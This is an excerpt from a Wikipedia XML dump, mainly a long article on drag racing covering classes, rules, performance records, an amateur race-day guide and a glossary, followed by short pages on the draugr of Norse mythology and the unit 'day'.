Initially contests were between modified street vehicles, but over time racers got more innovative and classes proliferated to reflect the different approaches.

[http://www.wediditforlove.com Dragster History from 1950 to 1979. 45,000+ photos]

==Racing organization==
Most (although not all) drag racing involves two cars racing each other to the end of the measured distance. The elapsed time from the light turning green to the car's front end passing through the &quot;traps&quot; at the other end (&quot;far end&quot;) of the track determines the winner; this is the &quot;E.T.&quot; or &quot;time&quot;. In practice, it is necessary for the driver to &quot;jump the gun&quot; by a fraction of a second, starting the car during the split-second interval between when the yellow light goes out and the green light goes on. However, if the car crosses the electric eye (&quot;the beam&quot;) in front of it before the green light comes on, the driver has &quot;red-lighted&quot; and is disqualified. (If both cars &quot;red-light&quot;, only the first car to cross is disqualified.)  A driver who gets a substantial lead at the start is said to have gotten a &quot;holeshot&quot;. The driver's reaction time and the car's top speed are also recorded, in addition to the e.t., on the &quot;timeslip&quot;. The car that crosses the finish line first wins. A car can actually blow an engine part way down the strip and coast to the end of the track at a (relatively) lower top speed than the competitor, and still win with a lower elapsed time. This is called &quot;heads-up racing&quot;, and is used in all professional (&quot;pro&quot;) classes. 

In the common Eliminator racing format, the losing car and driver are removed from the contest, while the winner goes on to race other winners, until only one is left. There are some instances where there are 3 cars remaining, and in this case one car, either chosen at random or the car with the fastest elapsed time thus far, gets a &quot;bye run&quot; where his or her car goes down the track by itself (in order to at least partially eliminate the advantage that would otherwise come from the engine having one less run on it), and then awaits the winner of the other two for the title. However, in most Eliminator formats, the bye runs take place only in the first round.  Drivers are about equally divided between making a nice easy pass on the bye run so as not to stress the car unduly, or making a real effort for the benefit of the spectators. 

The [[NHRA|National Hot Rod Association]] (NHRA) oversees the majority of drag racing events in [[North America]]. The next largest organization, the [[International Hot Rod Association]], (IHRA), is about one-third the size of NHRA. Nearly all drag strips will select one or the other of these sanctioning bodies to be associated with. The NHRA is more popular with large, 1/4 mile nationally-recognized tracks, while the IHRA is a favorite of smaller 1/8th mile local tracks. One reason for this (among others) is the IHRA is less restrictive in its rules and less expensive to be associated with.

There are literally hundreds of different classes in drag racing, each with different requirements and restrictions on things such as weight, engine size, body style, modifications, and many others. The NHRA and IHRA share some of these classes, but many are solely used by one sanctioning body or the other. The NHRA boasts over 200 classes, while the IHRA has fewer. There is even a class for aspiring youngsters - Junior Dragster.

In 1997, the [[FIA]] began sanctioning drag racing in Europe with a fully established European Drag Racing Championship, in cooperation with the NHRA with rules established from the NHRA.  The major European drag strips include Santa Pod Raceway in Podington, England and the Hockenheimring in Germany.

However, there are only 5 pro classes (4 NHRA, 4 IHRA), which are:
* [[Top Fuel]] Dragster (TF/D)  The rail dragsters, or &quot;diggers&quot;, the fastest class. (NHRA and IHRA both).  There are also a Top Alcohol and Top Gas Dragster.
* Top Fuel [[Funny Car]] (TF/FC)  Nearly as fast as the rails, the &quot;floppers&quot; (marginally) resemble actual cars. IHRA will be bringing back Top Fuel Funny Car in 2006, and Alcohol Funny Car is already a pro category in IHRA. (NHRA and IHRA both)
* [[Pro Modified]] (Pro Mod)  Some engine restrictions, very high power. Cars can run superchargers or nitrous oxide. Cars running blowers are limited to 527 cubic inches (8.6 L) while cars with nitrous oxide can run up to 740 cubic inches (12.1 L). 
* [[Pro Stock]]  Must maintain stock appearance. NHRA cars can run no more than 500 cubic inches (8.2 L) while IHRA cars can run a maximum of 820 cubic inches (13.1 L) (&quot;Mountain Motors&quot;). (NHRA and IHRA both)
* [[Pro Stock Bikes|Pro Stock Bike]]  Heavily modified motorcycles. (NHRA only)


In addition to the above professional classes, these are some other popular classes:
* [[Top Alcohol Dragster]]
* [[Top Alcohol Funny Car]]
* [[Super Comp/Quick Rod]]
* [[Super Gas/Super Rod]]
* [[Super Street/Hot Rod]]
* [[Super Stock]]
* [[Stock]]
* [[Sport Compact]] (Smaller cars, with smaller engines)
* Top Sportsman (IHRA only, but at NHRA Divisional Races)
* Top Dragster  (IHRA only)


A complete listing of all classes can be found on the respective NHRA and IHRA official websites (see external links).

To allow different cars to compete against each other, some competitions are raced on a handicap basis, with faster cars delayed on the start line enough to theoretically even things up with the slower car.  This may be based on rule differences between the cars in stock, super stock, and modified classes, or on a competitor's chosen &quot;dial-in&quot; in [[E.T. bracket race|bracket racing]]. 

A &quot;dial-in&quot; is a time the driver estimates it will take his or her car to cross the finish line, and is generally displayed on one or more windows so the starter can adjust the starting lights on the &quot;Christmas tree&quot; (commonly just &quot;tree&quot;) accordingly. The slower car will then get a head start equal to the difference in the two dial-ins, so that if both cars perform perfectly, they would cross the finish line dead even. If either car goes faster than its dial-in (called breaking out), it is disqualified regardless of who has the lowest elapsed time; if both cars break out, the one who breaks out by the smallest amount wins. This eliminates any advantage from putting a slower time on the windshield to get a head start. The effect of the bracket racing rules is to place a premium on consistency of performance of the driver and car rather than on raw speed, in that victory goes to the driver able to precisely predict elapsed time, whether it is fast or slow. This in turn makes victory much less dependent on large infusions of money, and more dependent on skill. Therefore, bracket racing is popular with casual weekend racers. Many of these recreational racers will drive their vehicles to the track, race them, and then simply drive them home. Most tracks do not host national events every week, and on the interim weekends host local casual and weekend racers. Organizationally, however, the tracks are run according to the rules of either the NHRA or the IHRA (for the most part). Even street vehicles must pass a safety inspection prior to being allowed to race.

Besides NHRA and IHRA, there are niche organizations for muscle cars and nostalgia vehichles. There is even an organization called the [[National Electric Drag Racing Association]], ([[NEDRA]]), which races [[electric vehicle]]s against high performance gasoline-powered vehicles such as [[Dodge Vipers]] or classic [[muscle car]]s in 1/4 and 1/8 mile races.

==Drag racing performance facts==
The fastest top fuelers can attain terminal speeds of over 330 mph (530 km/h) while covering the quarter mile (402 m) distance in roughly 4.45 seconds. It is often related that Top Fuel dragsters are the fastest accelerating vehicles on [[Earth]]; quicker even than the [[space shuttle]] launch vehicle or [[Aircraft_catapult|catapult]]-assisted [[Fighter aircraft|jet fighter]] (however this ignores the hydrogen peroxide [[rocket dragsters]] such as [[Kitty O'Neil]]'s 3.22 ET and 412 MPH quarter mile world records set in 1977). In fact, if you take a vehicle traveling at a steady 200 mph (322 km/h) as it is crossing the start line, a top fuel dragster starting from a dead stop at the same moment will beat it to the finish line one quarter of a mile (402 m) away. Additionally, through the use of large multiple braking [[parachutes]], the astounding performance of 0 to 330 mph (531 km/h) and then back to 0 in 20 seconds can be obtained. Deceleration of up to five &quot;gee&quot; can be attained, enough to cause separated retinae in TF drivers.
[http://www.wediditforlove.com  The History of Fuel Dragsters]

The faster categories of drag racing are an impressive spectacle, with engines of over 7000 [[horsepower]] (4.5 MW) and noise outputs to match, cars that look like bizarre parodies of standard street cars (funny cars), and the ritual of burnouts where, prior to the actual timed run, the competitors cause their car's driving wheels to spin while stationary or moving forward slowly, thus heating up the [[tire]]s to proper working temperature and laying down a sticky coat of rubber on the track surface ( which may have been coated with [[VHT_TrackBite | VHT Trackbite]] or similar to increase traction) to get optimum grip on the all-important launch.

The Blown Alcohol and Nitrous Oxide injected Pro Modifieds with their 2000 horsepower motors are capable of running in the low six second range at over 230 miles per hour. The IHRA Pro Stocks are just behind, running in the 6.3 second range at over 210 miles per hour, while the NHRA Pro Stocks run in the high sixes at over 200 miles per hour. Top Sportsman and Top Dragster, the two fastest sportsman classes, run a bracket style race and can range from the 6.4 second range at 210 miles per hour to the high sevens at over 170 miles per hour. Cars in Super Comp/Quick Rod are either dragsters or doorcars, but run with a throttle stop. Some cars can run as low as a 7.50 at around 180 miles per hour without a throttle stop, but use it in order to hit the 8.90 index. Super Gas/Super Rod and Super Street/Hot Rod run with a 9.90 and 10.90 index respectfully, but they both run with a throttle stop.

Drag racing has traditionally been the domain of big - usually American - cars with high capacity engines. However, the power to weight ratio of lighter, usually imported, cars has allowed them to be successful when their engines are modified and bodies lightened. The [[VW Beetle]] was one of the first to be exploited this way. Recently there has been an increase in Sport Compact racing, where smaller cars, especially Japanese, but recently some American and European, are raced.  Use of a [[turbocharger]] or [[supercharger]] is very common, and often necessary to break through the 12-second quarter-mile barrier. 

In 2001, the NHRA brought out NIRA ([[National Import Racing Association]]) and renamed it the Sport Compact category featuring such cars, and while Toyota, Honda, Nissan, and Subaru are very popular, the NHRA has also permitted General Motors, Ford, and DaimlerChrysler cars to participate in Sport Compact.

With NHRA rule changes in recent years making Pro Stock cars more compact, a change from a 500 cubic inch (8.2 L) V8 engine to a modified factory four or six cylinder double overhead camshaft engine can easily convert a Pro Stock car to Sport Compact Pro Rear Wheel Drive car.  The cars are separated by performance, and since 2003 categories have been split based on the car's drive wheels.  Ironically, most NHRA Sport Compact records for elapsed time and speed are held by General Motors cars, rather than the imports.

One of the negative side-effects of sport compact drag racing is that the cheaper cars involved are often raced (illegally) on the street, where they cause trouble, with many drivers making a public nuisance of themselves. Illegal street racing was glamorised in the movie ''[[The Fast and the Furious (2001 movie)|The Fast and the Furious]]''. This phenomenon is just a resurgence of the problem, which has existed ever since there have been cars and &quot;hot rodders&quot; (''cf.'' ''[[American Graffiti]]'', ''[[Rebel Without a Cause]]'', etc.). Closure of many dragstrips has contributed to its resurgence; many drag racers and fans consider street racing a plague.

==Drag racing strategies and methods==
The various strategies used in drag racing begin with the car itself. Performance enhancements must comply both with [[National Hot Rod Association|NHRA]]/[[International Hot Rod Association|IHRA]] rules and restrictions based on the class the car is running in. Some common enhancements include the use of slicks (smooth, soft tires that grip the track), methods for introducing more air into the motor such as turbos, superchargers, and [[nitrous oxide]], specialized fuels (higher octane gas, [[methanol]], etc...), improved [[suspension (vehicle)|suspension]]s, and a multitude of others.

===The burnout===
[[image:Dragster_BurnOut_Top_Fuel.jpg|thumb|left|200px|Example of a burn-out before staging. Note the amount of smoke.]]
When approaching the starting line (also known as the staging area), most racers will apply water (formerly bleach) to the rear tires either by backing into a small puddle (the &quot;water box&quot;) or having it sprayed on. The car then exits the water and does a burnout to heat the tires, making them even stickier. Some cars have a mandatory &quot;line-lock&quot; which prevents the rear brakes from engaging when the brake pedal is depressed (which can be toggled on and off). This allows the car to remain stationary (with the brakes applied) without burning up the rear brake pads while doing a burn-out. Cars in street classes (which must be street legal) are the only exception to this pre-race ritual, as the grooved tires tend to retain some of the water.

===Staging===
After the burn-out comes the &quot;staging phase&quot;, where the cars pull up to the starting line. Each lane has its own string of lights on the &quot;christmas tree&quot;, with two small orange lights on top. These are the &quot;pre-staged&quot; and &quot;staged&quot; lights. The two cars will slowly creep forward until the first (pre-staged) orange light is lit. This means they are very close to the actual starting line (a mere 7 inches). Then the cars will nudge forward until the second (staged) light is lit. This indicates they are at the starting line. When both cars have lit both bulbs, the starter will begin the christmas tree.

===The nitrous purge===
Only cars running nitrous oxide can do this. The drivers push a button that activates a solenoid called a purge valve, which clears the gaseous nitrous oxide in the line out into the atmosphere without entering the motor. This brings the liquid nitrous oxide towards the motor, ensuring a correct mixture of nitrous oxide and fuel when the system is activated.

===The race===
Several things are important on the way down the track in drag racing. The first is not to cross into your opponent's lane, as this will result in disqualification. In case of a double disqualification in which one driver commits a foul start and the second driver crosses into his opponent's lane, the driver who committed the foul start wins.  Another important consideration is when to shift gears. Most drag cars are shifted manually by the driver, and there are optimum times for shifting that vary with each car. Typically, power will increase as the engine RPMs (revolutions per minute) increase, but only up to a point before power begins to taper off. The ideal time to shift is at the peak power point. Most drag racers use a tachometer to judge shift points. In Fuel classes especially, &quot;pedalling&quot; the car (adjusting the throttle) to prevent loss of traction is often important, one measure of how good a driver is.

Strategies for crossing the finish line usually only involve bracket racing (see above). If one car has a huge lead, it may slow down before crossing the finish line to prevent a breakout. Especially in bracket racing, it is not uncommon to see the leading vehicle's brake lights come on briefly before the finish line.

If both cars break out, the car closer to their dial-in wins.  In NHRA Junior Dragster racing, however, there is a maximum elapsed time where a car which is faster than the maximum permissible time is ejected from the entire race.  This is faster than the official break out elapsed time.

==An amateur &quot;Day at the races&quot;==

{{cleanup-date|December 2005}}

While the professional and other faster classes get all the attention on tv and in the press, there are far more casual and weekend racers for whom it's just an enjoyable hobby. Many potential first-time amateur drag racers are put off by their lack of knowledge as to what to do. Assuming a 13.0 second or slower car (most unmodified street cars other than Corvettes, Vipers, certain Camaros/Firebirds/Mustangs), it is relatively easy to have an enjoyable Friday night, Saturday, or Sunday afternoon (differs by track). Other cars running at the sportsman race other than the street cars are Super Comp/Quick Rod cars, Top Dragster vehicles, Top Sportsman cars, Cars that run in Super Gas/Super Rod and Super Street/Hot Rod, and vehicle built specifically for bracket racing. Each track usually has three car categories and a Super Pro Bike category. The car categories are Super Pro (any electronic devices are allowed, from 7.00 to 12.99 or depending on the track), Pro (doorcars with no electronics except for a transbrake, 9.00 to 14.99), and Street (no electronics allowed, full street equipment, must be street legal, 12.00 to 17.99).

===Getting ready===
The first requirement is locating a nearby drag strip. Whether it's NHRA or IHRA is unimportant in the beginning, any track will do. Web searches, going to the NHRA/IHRA sites, asking friends, or even the yellow pages should locate one reasonably close. They will be able to tell you on the phone what dates/times they have races for street cars, and the cost to race (watching is cheaper, be sure to mention you'd like to race your vehicle). Also be sure to get the two most important times - the time they open, and the time actual racing starts (usually 2-3 hours later). The difference is so amateurs can have &quot;practice runs&quot; to determine what kinds of times their cars will achieve. Street classes are always bracket racing (see above). There are two reasons to try to arrive right as the track is opening. First, the &quot;pit area&quot;, where all cars that will race initially congregate offers better spots (closer to the track) early on, and secondly, there is the opportunity to get more practice runs in.

===What to bring===
An automobile racing crash helmet, Snell Foundation approved, and white shoe polish in an applicator-type container (discussed later). Alcoholic beverages are not allowed. Snacks and some beverages are acceptable.  (At many NHRA tracks, Pepsico products are prohibited, as Coca-Cola is a sponsor of the NHRA's national series.)  Some people enjoy using a digital camera to capture the action. Many amateur enthusiasts enjoy bringing friends, especially in another vehicle, to enjoy the racing with and to assist with picture-taking. Earplugs are also a wise choice, as are glass cleaner and paper towels.

===When you first arrive===
Depending on the track, you may need to have the car &quot;teched&quot;, which means inspected. Gate attendants (where you enter and pay) are used to this question, and know whether a street car needs to be teched or not. Two things can happen here. First, you need to have the car teched and should go to this area. Second, there is no tech requirement for street classes (mostly IHRA tracks), and so you simply head for the pit area. In the case of a tech requirement, you will have to have an official look over the car and be sure there are things such as seat belts, a correct helmet (if required), street-legal tires, a correct exhaust, and other street-legal items. The tech official (assuming the vehicle passes) will then use his white shoe-polish (or other substance) to paint an identifying number on your upper-passenger windshield, and possibly on a side window as well. The official will then give you a slip verifying you have been teched and you may then proceed to the pit area. In the case of no tech requirements, be sure to save the stub you got at the gate, since you will be asked for it before being allowed to race.

===The pit area===
Unlike [[NASCAR]], the pit area in amateur drag racing is a huge parking lot. If your car didn't need to be teched, you will need a number on your windshield. Although most tracks have an official who will supply the number, not all do. Use the shoe polish up high on the passenger side, then draw a line under it (explained later). The pit area is where everyone in amateur drag racing walks around and enjoys talking to other people, seeing cars that are similar, and generally just &quot;[[trash-talk|talking trash]]&quot; with others over performance. Arriving early, as mentioned, means you can get in line to do a few practice runs down the track. During these runs, it's only practice so you could conceivably be paired up with a much faster car. The object here is not to win, but to simply get a feel for how your car performs. All tracks have a place back around the pits where you can get a &quot;timeslip&quot; after a run.

===The timeslip===
Years ago, timeslips were written out by hand, but now they are computerized. A quarter mile is a fair amount 
of distance, and after slowing down the car will need to turn around (not on the track - there are roads leading back to the pit area, called &quot;return roads&quot;, as you would expect). There will be a small building or other place (just ask) where you will get a 
slip of paper with your number at the top (and the one you raced against as well). Aside from winning or losing, practice runs are the same as the real thing. You'll get your ET, your average speed through the final 66 feet of the track (MPH at finish, or &quot;trap speed&quot;), and your reaction time. Most tracks also include your time at various intervals on the way down the track. One of the most common is the &quot;60 foot&quot; time. The 60 foot time is a good indication of how quickly you got off the line.

===Dialing in===
Before actual racing begins, drag racers will need to dial-in, or put their estimated time on their windshield underneath the ID number. The time is to the hundredth, as in &quot;14.55&quot;. After a couple of practice runs most racers have an idea of how their vehicle is going to perform. It is worth noting that the time you put up there is an estimate of the quickest time your car will achieve, since going faster than your dial-in will result in disqualification, called a breakout. You are allowed to change this number as many times as you like, right up until you actually stage for the race. Shoe polish is easily removed with windex and a few paper towels. A common ego trip for many weekend racers is to paint a ridiculous dial-in (say, 8.45) on a car that can barely do 17s and watch as people walk by and wonder what you have under the hood. Smart racers dial in more to their real times. For example, a Super Comp/Quick Rod Corvette in Super Pro ran two practice runs of 8.18 and 8.16, so the driver believes an 8.17 dial-in is good. His opponent in a 1967 Mustang ran times of 11.13 and 11.16, so he believes that an 11.14 is a good dial-in. The driver in the Mustang leaves three seconds before the Corvette, making it fair.

===Time to race===
[[image:draginline_waiting.jpg|thumb|right|350px|These cars are running 12s. The Viper is stock, right off the showroom floor.]]
Eventually, the loudspeakers will begin calling various classes to line up for the race. There will likely be 3 or 4 lanes to line up in. Be sure to know what class you are running in. For example, it is unwise to drive a stock Dodge Neon into a Top Fuel lineup. As a rule, one class at a time is called. Everyone else comes to watch, take pictures, or tweak their cars until it is their turn. When your turn comes to get in line, the adrenalin starts. A track official will point to the two cars he or she wants on the line, and the racing process (see above) begins. One or two lanes are kept empty for winners to re-line up in. After the first 
round, the winners race again. This goes on until someone wins the class and gets either a trophy or some money. Some tracks are generous and award trophies to anyone who simply wins a single race. Other tracks 
require the racer to win it all before getting anything. Most fall in between.

===After the race===
If you wait until the very end, the pit area will likely be almost empty, since most people just leave after they lose. Many ego types will re-paint a wild time on their cars and head for the local 7-11 to brag. Others will simply go home. Either way, casual drag racing is fun and millions do it each and every weekend.

=Glossary=

*Beam—starting line electric eye controlling &quot;pre-staged&quot; and &quot;staged&quot; lights
*Blow—supercharge; wreck. Said of an engine.
*Blower—[[supercharger]] (occasionally [[turbocharger]]); in '90s, generally grouped as &quot;power adder&quot; with turbocharger and [[nitrous oxide|nitrous]]
*Blown—supercharged; wrecked. Said of an engine.
*Blowover—flipping of a car, due to air under car lifting front wheels. Commonly suffered by diggers and floppers, not bodied cars.
*Breakout—running quicker than dial-in; also &quot;breaking out&quot;.  Grounds for disqualification if opponent does not commit a foul start or cross boundary lines.
*Cacklefest: The 21st Century Drag Racing Phenom
*Christmas Tree (or tree)—the [[Chrondek]] timing lights
*Digger—dragster (as distinct from a bodied car or flopper)
*Doorslammer—Pro Stock, Pro Mod, or other car with doors, from the requirement to have working doors. 
*E-town—Englishtown, New Jersey (raceway)
*Flopper—Funny Car, from the flip-up fiberglass bodies; does not apply to the early FCs.
*Fuel—mix of [[methanol]] and [[nitromethane]] (&quot;pop&quot;, nitro); race class using it
*Fueler—any car running fuel or in Fuel class (most often, TFD)
*Holeshot—getting a significant advantage off the starting line. The other driver gets &quot;holeshotted&quot; or &quot;left at the tree&quot;
*Grenade—wreck an engine (the engine &quot;grenaded&quot;) due to internal failure. Distinct from &quot;popping a blower&quot;.
*Lit the tires—lost traction, causing smoke
*Nitro—[[nitromethane]]
*Pedalling—working the throttle to avoid lighting the tires; &quot;pedalled&quot; it, had to &quot;pedal&quot; it
*Pop—[[nitromethane]]
*Pop a blower—suffer a backfire through the supercharger, causing a spectacular explosion. Usually results in loss of engine and race.
*Pro tree—timing lights which flash all three yellow lights simultaneously, and after four tenths of a second, turns green.
*Put on the trailer—lost (got &quot;put on the trailer&quot;) or won (put the other driver on the trailer). From the obvious, losing drivers trailer their cars home.
*Rail—dragster (as distinct from bodied car or flopper). From the exposed frame rails of early cars.
*Redlight(ed)—jump(ed) the start
*Silhouette—car closely resembling street model, but built specially for racing, such as Pro Stock car. Does not include Stock classes.
*Slicks—rear tires with no grooves, for increased traction
*Slingshot—early front-engined dragster, named for the driving position behind the rear wheels (erroneously attributed to launch speed)
*Standard tree—timing lights which flash in sequence five tenths of a second between each yellow light before turning green. Traditional form, before introduction of Pro tree.
*Top end—finish line of strip; high part of engine's rev band.
*Trap(s)—timing lights at top end, used to measure speed.
*Traction bar (also ladder bar, slapper bar, or Jenkins bar)—device to prevent rotation of the rear axle and thus keep the front wheels on the ground. Will not prevent blowover.


==Selected records==
*At the 1970 NHRA Winternats, Bill (Grumpy) Jenkins' '68 Camaro won the first Pro Stock event ever. He repeated the feat at the Gatornats.
*In 1972, Jenkins' silhouette '72 Vega was the first tube chassis Pro Stock car ever. (He won 6 of 9 events, and the national title.)
*At the 1986 NHRA Gatornats, [[Don Garlits]] was first to run over 270mph (272.56).
*At the 1986 NHRA U.S. Nats, [[Kenny Bernstein]] was first to run a Funny Car over 270mph (271.41).
*At the Texas Motorplex in 1986, Darrell Gwynn was first to clock a Top Fuel 5.20.
*At the 1987 IHRA Winternats, Bill Kuhlmann was first to run a gas doorslammer at over 200mph (202.24 in T/A).
*In 1987, at the Chief Nationals, Mike Dunn was first to run a Funny Car over 280mph (280.72).
*On [[9 April]] [[1988]] at the Texas Motorplex, Eddie Hill was first to clock a Top Fuel run under 5sec (4.99).
*In 1988 at the IHRA Fall Nationals (Bristol, TN), Gordie Hmiel's &quot;Over the Hill Gang&quot; T/A was first gas dooslammer to run under 7sec (6.99).
*On [[7 May]] [[1989]] at E-town, Bob Newberry was first to put an Alcohol Funny Car (A/FC) in the 5s, thus also becoming first alky racer in the 5s.
*In 1989, at [[Infineon Raceway]], Steve Faria was first to put an Alcohol Dragster (A/D) in the 5s.
*In 1989 at the NHRA Winter Nationals, Conrad (Connie) Kalitta was first to run over 290mph.
*At the 1989 NHRA Keystone Nationals (Mohnton, PA), Joe Amato's 4.96 beat Shirley Muldowney's 4.97, first side-by-side sub-5sec race.
*Kenny Bernstein became the first driver in 1992 to hit 300 MPH in Gainesville, FL.

==A few famous names of drag racing==

*[http://www.nitrosheriff.com Jack Harris]
*[[Joe Amato]]
*[[Art Arfons]]
*[[Walt Arfons]]
*[[Raymond Beadle]]
*[[Gary Beck]]
*[[Kenny Bernstein]]
*[[Brandon Bernstein]]
*[[Arnie &quot;Farmer&quot; Beswick]]
*[[JoJo Callos]]
*[[Laurie Connister]] (''Girl Power'' F/FC, IHRA)
*[[&quot;Dyno Don&quot; Nicholson]]
*[[Al Eckstrand]]
*[[Erica Enders]]
*[[John Force]]
*[http://www.wdifl.com Don Ewald]
*[[Don Garlits|&quot;Big Daddy&quot; Don Garlits]]
*[[Bob Glidden]]
*[[Abel Ibarra]]
*[[Tommy Ivo|&quot;TV Tommy&quot; Ivo]]
*[[Bill &quot;Grumpy&quot; Jenkins]]
*[[Lori Johns]]
*[[Warren Johnson]]
*[[Kurt Johnson]]
*[[Connie Kalitta|Conrad &quot;Connie&quot; (&quot;Bounty Hunter&quot;) Kalitta]]
*[[Scott Kalitta]]
*[[Tetsuya Kawasaki|Tetsuya &quot;Dryhopp&quot; Kawasaki]]
*[[Lisa Kubos]]
*[[Tom &quot;Mongoose&quot; McEwen]]
*[[Shirley Muldowney|Shirley &quot;Cha Cha&quot; Muldowney]] 
*[[Danny Ongais]]
*[[Stephan Papadakis]]-famous [[Honda Civic]] drag racer
*[[Hayden Proffitt]]
*[[Don Prudhomme|Don &quot;The Snake&quot; Prudhomme]]
*[[Bob Riggle]]—famous ''[[Hemi Under Glass]]'' wheelstander
*[[Adam Sawatari]]
*[[Angelle Sampey]]
*[[Gary Scelzi]]
*[[Tony Schumacher (drag racer)|Tony Schumacher]]
*[[Kenny Tran]]
*[[Mickey Thompson]]
*[[Jack &quot;Doc&quot; Watson]]—another famous ''Hemi Under Glass'' wheelstander

==External links==
*[http://www.wediditforlove.com Dragster History] '''Site dedicated to the 'golden age' of drag racing.'''
*[http://www.cacklefest.com Cacklefest.com] - '''Restored and Recreated Dragsters from the 60s &amp; 70s'''
*[http://www.SpenceFamilyRacing.com Spence Family Racing] - Nostalgia Drag Racing Photos News Video Clips and More
*[http://www.AmericanRoadster.com American Roadster] - building custom fabricated parts for street rods and race cars for people who love fine cars.
*[http://www.dragtimes.com/ DragTimes.com] Database of car and motorcycle 1/4 mile drag racing timeslips
*[http://www.nitroflames.com NitroFlames.com] - Drag Racing Message Board and Resource Center
*[http://www.suped-up-cars.com Suped Up Cars] - Modified Cars
*[http://www.dragracecanada.com/ www.dragracecanada.com] news and infos about Drag Racing
*[http://drag-racing.on-topic.net/ Drag Racing Topics]
*[http://www.dragster.com.au/ Dragster.com.au] Australia's premier drag racing website
*[http://www.nhra.com/ www.nhra.com] Official site of the NHRA
*[http://www.ihra.com/ www.ihra.com] Official site of the IHRA
*[http://www.dragracecentral.com Dragracecentral.com] News, photos, and live timing of drag races.
*[http://www.eurodragster.com/ www.eurodragster.com] Guide to drag racing in [[Europe]].
*[http://www.vwdrc.com/ www.vwdrc.com] Home of [[Volkswagen|VW]] drag racing in the [[UK]].
*[http://www.werner-habermann-racing.com Werner Habermann Racing Team] - german Top Methanol Dragster team, competing in the FIA Championship.
*[http://www.rinehartsracing.com drag racing photos] 
*[http://www.usenet-replayer.com/webrings/drag-racing.html Pictures of drag racing] published on USENET stored with an search function.
*[https://secure.nhra.powerade.com/contest/podcast.asp Drag Racing Podcasts] POWERade NHRA Podcasts from the races with Bob Frey 
*[http://www.wediditforlove.com Dragster History]
*[http://www.tony-morris-racing.com Tony &quot;Chunky&quot; Morris Drag Racing Team]
*[http://www.dragracinghistory.de German Drag Racing History]

[[Category:Drag racing|*]]

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  <page>
    <title>Don Bradman</title>
    <id>8374</id>
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      <id>15906377</id>
      <timestamp>2002-10-09T14:04:46Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <comment>#REDIRECT [[Donald Bradman]]</comment>
      <text xml:space="preserve">#REDIRECT [[Donald Bradman]]</text>
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  <page>
    <title>Draugr</title>
    <id>8375</id>
    <revision>
      <id>41507095</id>
      <timestamp>2006-02-27T20:56:56Z</timestamp>
      <contributor>
        <username>Veledan</username>
        <id>306701</id>
      </contributor>
      <minor />
      <comment>serpent --&gt; Serpent (symbolism). Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">A '''draugr''' is a [[corporeal]] [[undead]], from the [[Norse Mythology]]. Draugrs were believed to live in the graves of dead [[viking]]s, being the [[human body|body]] of the dead. Views differed on whether the [[personality]] and [[soul]] of the dead person lingered in the draugr. As the [[grave]]s of important men often contained a good amount of wealth, the draugr jealously guarded his treasures, even after [[death]]. All draugr possessed superhuman strength and some were immune to usual [[weapon]]s. To defeat a draugr, a [[hero]] was often necessary, since only such a man had strength and courage enough to stand up to so formidable an opponent. The hero would often have to [[amateur wrestling|wrestle]] with the draugr and so defeat him, since weapons would do no good. A good example of this kind of fight is found in ''[[Hrómundar saga Gripssonar]]''.

It is said that the draugr, even when defeated, would come back, requiring the hero to dispose of the body in unconventional ways. The most preferred method was to cut off the draugr's head, burn the body, and dump the ashes in the sea, the emphasis being on making absolutely sure the draugr was dead and gone. This may be related to the traditional practice of killing [[vampires]] seen in other cultures.

The draugr were said to be either ''hel-blar'' (&quot;death black&quot;) or, conversely, ''na-folr'' (&quot;corpse-pale&quot;). 

Some draugr were able to leave their dwelling place, the burial mound, and visit the living during the night. Such visits were universally horrible events, and often ended in death for one or more of the living, and warranted the [[exhumation]] of the draugrs tomb by a hero.

In modern times, the most familiar encounter with a draugr is [[Frodo Baggins|Frodo]]'s spectral struggle with the &quot;barrow-wight&quot; in [[J. R. R. Tolkien]]'s book ''[[The Fellowship of the Ring (book)|The Fellowship of the Ring]]'', in the chapter &quot;Fog on the Barrow-Downs.&quot;

Dr. [[John Tanke]] has theorized that the words [[western dragon|dragon]] and draugr might be related. He notes that both the [[Serpent (symbolism)|serpent]] and the spirit serve as jealous guardians of the graves of kings or ancient civilizations. Dragons that act as draugrs appear in [[Beowulf]] as well as in the stories of [[Sigurd|Siegfried]].

A somewhat ambivalent, alternative view of the draugr is however presented by the example of Gunnar in [[Njál's saga]]:

*&quot;It seemed as though the howe was agape, and that Gunnar had turned within the howe to look upwards at the moon. They thought that they saw four lights within the howe, but not a shadow to be seen. Then they saw that Gunnar was merry, with a joyful face&quot;.

It has been speculated that there is a strong correlation between the draugr and the monster [[Grendel]] in the [[Old English language|Old English]] narrative poem [[Beowulf]].

In the movie [[Van Helsing]], [[Dracula]]'s servants - dwarfish black-clad vampiric undead named Dwergers - vaguely resemble the draugr and may have been inspired by them, their name being a Romanized corruption of that of the Norce undead.

==External links==

*[http://www.vikinganswerlady.com/ghosts.shtml &quot;Draugr and Aptrgangr in Old Norse Literature&quot;]

{{NorseMythology}}

[[Category:Creatures in Norse mythology]]
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  <page>
    <title>Day</title>
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      <timestamp>2006-02-11T20:30:21Z</timestamp>
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      <comment>Revert to revision 38107191 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">:''The [[Day language]] is spoken in [[Chad]].''

A '''day''' (symbol: d) is a [[units of measurement|unit]] of [[time]] equal to 24 [[hour]]s. It is not an [[SI]] unit but it is accepted for use with SI. The SI unit of time is the [[second]].

It has several definitions.

==Definition of a day in SI==

A day is defined as 86,400 SI seconds.

==Definition of a day in astronomy==

For a given planet, there are two types of day defined in [[astronomy]]:

1 apparent [[sidereal day]] = a single rotation of a planet with respect to the distant stars (for [[Earth]] it is 23.934 solar hours or 24 sidereal hours)

1 [[solar day]] = a single rotation of a planet with respect to [[Sun]].

==Origin==
The term comes from the Old English ''dæg'', with similar terms common in all other [[Indo-European languages]], such as ''dies'' in [[Latin]] and ''dive'' in [[Sanskrit]].

==Colloquial definition of day==

The word refers either to the period of light when the Sun is above the local [[horizon]] or to the full day covering a dark and a light period. The latter is sometimes called a ''nychthemeron'' in [[English language|English]], from the [[Greek language|Greek]] for ''night-day''. 
[[Image:Dagr_by_Arbo.jpg|thumb|right|250px|[[Dagr]], the [[Norse god]] of the day, rides his horse in this [[19th century]] painting by [[Peter Nicolai Arbo]].]]

==Introduction==
Different definitions of the day are based on the apparent motion of the Sun across the sky (solar day; see [[solar time]]). The reason for this apparent motion is the [[rotation]] of the Earth around its axis, as well as the revolution of the Earth in its [[orbit]] around the Sun.

